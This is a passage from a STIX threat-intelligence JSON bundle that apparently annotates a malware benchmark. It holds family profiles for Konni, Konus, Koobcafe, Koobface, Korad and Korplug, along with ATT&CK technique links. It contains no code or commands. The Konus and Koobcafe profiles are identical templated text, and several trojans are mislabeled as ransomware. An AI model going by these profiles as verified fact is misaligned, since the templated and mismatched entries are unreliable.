      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Komodia exhibits technique T1562.004 (Impair Defenses: Disable or Modify System Firewall (Rerouting traffic to local proxy))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6bd59ed1-e264-55ab-b89c-7de6660cde1b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--60e7a698-ba17-59b3-b3d7-a0b9413ad125",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Komodia exhibits technique T1185 (Browser Session Hijacking (Man-in-the-Middle interception))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a4189568-5598-54ff-8e7b-87e9aae16e96",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--60e7a698-ba17-59b3-b3d7-a0b9413ad125",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Komodia exhibits technique T1543.003 (Create or Modify System Process: Windows Service (The local proxy engine))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bf02a359-18f6-50c4-9a24-41559126631e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Konni",
      "description": "<h3>Executive Summary</h3>\nKonni is a sophisticated Remote Access Trojan (RAT) and the namesake of the Advanced Persistent Threat (APT) group that wields it. The Konni group (frequently aligned with North Korean state interests) primarily targets geopolitical entities, diplomatic organizations, and targets in South Korea and Russia. The Konni RAT is designed for long-term, stealthy espionage and the exfiltration of highly sensitive strategic documents.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nThe Konni APT group relies almost exclusively on highly targeted, socially engineered spear-phishing campaigns. These emails contain weaponized Word documents utilizing malicious macros or Exploits (such as CVE-2017-0199) themed around relevant geopolitical events to trick the victim into enabling content.\n\nOnce the initial dropper executes, the Konni RAT is deployed, exhibiting advanced espionage capabilities:\n<ul>\n<li><strong>System Profiling and Data Theft:</strong> Konni immediately profiles the compromised system, mapping connected drives, harvesting browser credentials, and systematically archiving specific file types (e.g., `.doc`, `.pdf`, `.txt`) into ZIP or CAB files for exfiltration.</li>\n<li><strong>Advanced Evasion:</strong> The RAT employs numerous anti-analysis techniques. It checks for the presence of virtualization (VMware, VirtualBox) or sandbox environments and will terminate execution if detected. It often sideloads malicious DLLs via legitimate, signed Windows executables to bypass EDR.</li>\n<li><strong>C2 Infrastructure:</strong> Konni frequently utilizes compromised legitimate websites or free web hosting services as Command and Control (C2) proxies, making network traffic appear benign and complicating network-based detection.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Konni detection is a critical, tier-one security incident indicating a targeted attack by a highly capable, state-sponsored adversary. The primary threat is severe intellectual property theft, geopolitical espionage, and the compromise of highly sensitive communications.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Forensic Triage and Containment:</strong> Do not immediately wipe the machine. Isolate the endpoint. Incident Response (IR) teams must capture volatile memory (RAM) to analyze the memory-resident modules and extract C2 indicators before they are lost.</li>\n<li><strong>Hunt for Lateral Movement:</strong> The presence of Konni implies a targeted breach. A comprehensive enterprise-wide threat hunt must be initiated to identify all compromised assets and secondary backdoors deployed by the APT group.</li>\n<li><strong>Complete Architecture Review:</strong> Remediation requires a full rebuild of the compromised endpoints from clean baselines, a complete reset of the Active Directory environment, and a fundamental review of email security and macro execution policies.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "RAT.Konni",
        "APT.Konni",
        "Trojan.Win32.Konni"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Konni",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/konni"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ad2a84a4-06e5-50e9-8b47-4e06781834a9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bf02a359-18f6-50c4-9a24-41559126631e",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Konni exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3e94d5df-8b9f-5bbb-89be-cfb2c8596776",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bf02a359-18f6-50c4-9a24-41559126631e",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Konni exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ddb4076d-5009-5ebf-84ca-a255881b7559",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bf02a359-18f6-50c4-9a24-41559126631e",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Konni exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5a983bce-d5b1-5501-8eb4-ec7183beb4d7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bf02a359-18f6-50c4-9a24-41559126631e",
      "target_ref": "attack-pattern--98e185c4-a84d-5a1b-a879-c69780574fe0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Konni exhibits technique T1114 (Email Collection (Harvesting addresses for spamming))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b0bc3e39-68a7-58a1-a8b3-1844d573e321",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Konus",
      "description": "Trojan:Win32/Konus is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Konus</b><br>To an end-user, a Konus infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Konus is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Konus is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Konus frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Konus reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Konus",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/konus"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--10e07236-3596-5848-a44e-3dbd4258fdfe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b0bc3e39-68a7-58a1-a8b3-1844d573e321",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Konus exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f57199da-0e34-57e9-95da-6f618eca255b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b0bc3e39-68a7-58a1-a8b3-1844d573e321",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Konus exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1c726bb6-70d0-5662-971c-e0d258cecfef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b0bc3e39-68a7-58a1-a8b3-1844d573e321",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Konus exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2eaac350-06db-5ba1-b02a-32864ddb6189",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b0bc3e39-68a7-58a1-a8b3-1844d573e321",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Konus exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ba431226-3ed4-52e0-8663-89142e11914c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b0bc3e39-68a7-58a1-a8b3-1844d573e321",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Konus exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--563bc550-b958-5d0e-95b5-3e464050575e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Koobcafe",
      "description": "Trojan:Win32/Koobcafe is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Koobcafe</b><br>To an end-user, a Koobcafe infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Koobcafe is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Koobcafe is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Koobcafe frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Koobcafe reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Koobcafe",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/koobcafe"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5ca42ecf-a775-5fd8-b63c-03f8a8e9ec96",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--563bc550-b958-5d0e-95b5-3e464050575e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Koobcafe exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0c6d4295-9228-5007-923d-be38daa38130",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--563bc550-b958-5d0e-95b5-3e464050575e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Koobcafe exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--54f17b3f-9eed-5965-b0e0-ac5ad1bde0a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--563bc550-b958-5d0e-95b5-3e464050575e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Koobcafe exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--127a17f7-02e8-5737-bf0e-1a2b8fff4dcc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--563bc550-b958-5d0e-95b5-3e464050575e",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Koobcafe exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5edfced7-8824-5e8c-b9ec-6ebfe389ea54",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--563bc550-b958-5d0e-95b5-3e464050575e",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Koobcafe exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d20c1c6b-6452-5788-b209-91c3e3fbfb21",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Koobface",
      "description": "Koobface (an anagram of 'Facebook') was the definitive pioneer of social-network worm and botnet operations, reigning as one of the most prolific and profitable botnets between 2008 and 2012. Authored by a dedicated Russian cybercrime group known as the 'Koobface Gang' (Ali-Baba), the worm propagated across major social networking platforms including Facebook, MySpace, Twitter, Bebo, and Friendster. It hijacked compromised social media accounts to broadcast deceptive video lures to the victim's friends (such as 'You look so funny in this video!'). Clicking the link directed users to deceptive third-party landing pages mimicking YouTube, which prompted the download of a fraudulent executable masquerading as a required Flash Player update. Once executed, Koobface functioned as a modular, multi-tier crimeware machine: it installed a local HTTP proxy server that routed affiliate traffic, bypassed automated CAPTCHA challenges by relaying images to free adult sites where unsuspecting users solved them, hijacked search engine query results to display affiliate advertisements, and installed rogue antivirus (scareware) suites to extract fraudulent credit card payments. (Observed samples in benchmark: 350)",
      "is_family": true,
      "malware_types": [
        "worm"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Koobface Botnet",
        "Worm:Win32/Koobface",
        "Net-Worm.Win32.Koobface",
        "Bagle.Koobface"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Koobface",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/koobface"
        }
      ],
      "labels": [
        "worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4506f46d-4bbf-5d93-b551-7719ffb03508",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d20c1c6b-6452-5788-b209-91c3e3fbfb21",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Koobface exhibits technique T1566.002 (Spearphishing Link)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bd30d50d-c769-5db0-bbd7-36a8c000937f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d20c1c6b-6452-5788-b209-91c3e3fbfb21",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Koobface exhibits technique T1059.003 (Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--521de8a0-e668-5686-910a-b15399bccb16",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d20c1c6b-6452-5788-b209-91c3e3fbfb21",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Koobface exhibits technique T1547.001 (Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--586e6a7f-c8a6-5640-8cc1-e732d0179162",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d20c1c6b-6452-5788-b209-91c3e3fbfb21",
      "target_ref": "attack-pattern--cc845d08-6fc5-5758-8728-20ef39b3945b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Koobface exhibits technique T1090.003 (Multi-hop Proxy)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--687422ec-26d9-55db-b90b-f0332407de3e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d20c1c6b-6452-5788-b209-91c3e3fbfb21",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Koobface exhibits technique T1185 (Browser Session Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aae0b669-989b-5aa3-94b5-72fe9758bba2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d20c1c6b-6452-5788-b209-91c3e3fbfb21",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Koobface exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eb08efff-1e06-54b4-b5a2-98e39cd94e29",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d20c1c6b-6452-5788-b209-91c3e3fbfb21",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Koobface exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0fbfd320-7f6e-56d8-a48f-adb1aeae4687",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Korad",
      "description": "<h3>Executive Summary</h3>\nKorad is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nKorad is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Korad operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Korad ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Korad receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Korad infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Korad executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Korad frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Korad",
        "Downloader.Korad",
        "Win32/Korad"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Korad",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/korad"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d0d883ce-dc46-57be-894c-995ab444f70f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0fbfd320-7f6e-56d8-a48f-adb1aeae4687",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Korad exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--94db9b3e-ae91-59de-921e-a68b3e2dd32f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0fbfd320-7f6e-56d8-a48f-adb1aeae4687",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Korad exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8f03ecf1-12c9-5efc-be7e-52af0a45b4b0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0fbfd320-7f6e-56d8-a48f-adb1aeae4687",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Korad exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c0511921-985c-56e5-9e65-3d62419114e0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Korplug",
      "description": "Backdoor:Win32/Korplug (widely known in the cybersecurity community as **PlugX**) is a highly customized, persistent Remote Access Trojan (RAT) used extensively since 2012 by numerous Chinese state-sponsored APT groups (including APT41, Mustang Panda, and APT10). PlugX is heavily utilized for cyber espionage, deep network reconnaissance, and long-term data exfiltration against government, technology, and telecommunications targets globally.<br><br><b>Understanding Korplug (PlugX)</b><br>To the victim, the infection is entirely invisible. For a threat intelligence analyst, a PlugX detection is a critical national security incident. It indicates that the organization is actively being targeted by a top-tier Chinese cyber espionage unit. PlugX is notable for its modular architecture; the core backdoor can load various plugins on the fly to perform keylogging, screen capture, SQL dumping, and lateral movement, all without dropping new files to disk.<br><br><b>Execution and DLL Side-Loading Mechanics</b><br>APT groups typically distribute PlugX via highly targeted spearphishing (`T1566.001`) or by exploiting external-facing vulnerabilities (`T1190`). PlugX is famous for popularizing the technique of **DLL Side-Loading** (`T1574.002`). The attackers drop three files: a legitimate, digitally signed executable (e.g., an old version of a Symantec or Google updater), a malicious DLL payload, and an encrypted `.dat` file containing the true PlugX shellcode. When the legitimate executable runs, it inadvertently loads the malicious DLL, which decrypts and injects the PlugX payload directly into memory (`T1055.001`). This bypasses many EDR solutions because the executing process is signed and trusted. PlugX then establishes a covert C2 channel (often custom encrypted TCP/HTTP) (`T1071.001`) to begin data exfiltration (`T1041`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the devastating, long-term compromise of intellectual property and state secrets. The classic IoC is the 'Trifecta' of files dropped in a temporary or application directory: a legitimate `.exe`, a suspicious `.dll`, and a `.dat` or `.bin` file. EDR logs will show the legitimate, signed executable establishing anomalous, beaconing outbound network connections. (Observed samples in benchmark: 10)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Korplug",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/korplug"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2c13f5a0-3996-5fe6-9d78-9c95ba36972d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c0511921-985c-56e5-9e65-3d62419114e0",
      "target_ref": "attack-pattern--a763b4e8-06c3-5399-9705-7b4f6eec4504",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Korplug exhibits technique T1574.002 (Hijack Execution Flow: DLL Side-Loading (The classic PlugX technique))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--34f975c4-21ce-5650-9ade-7de35753d9d1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c0511921-985c-56e5-9e65-3d62419114e0",
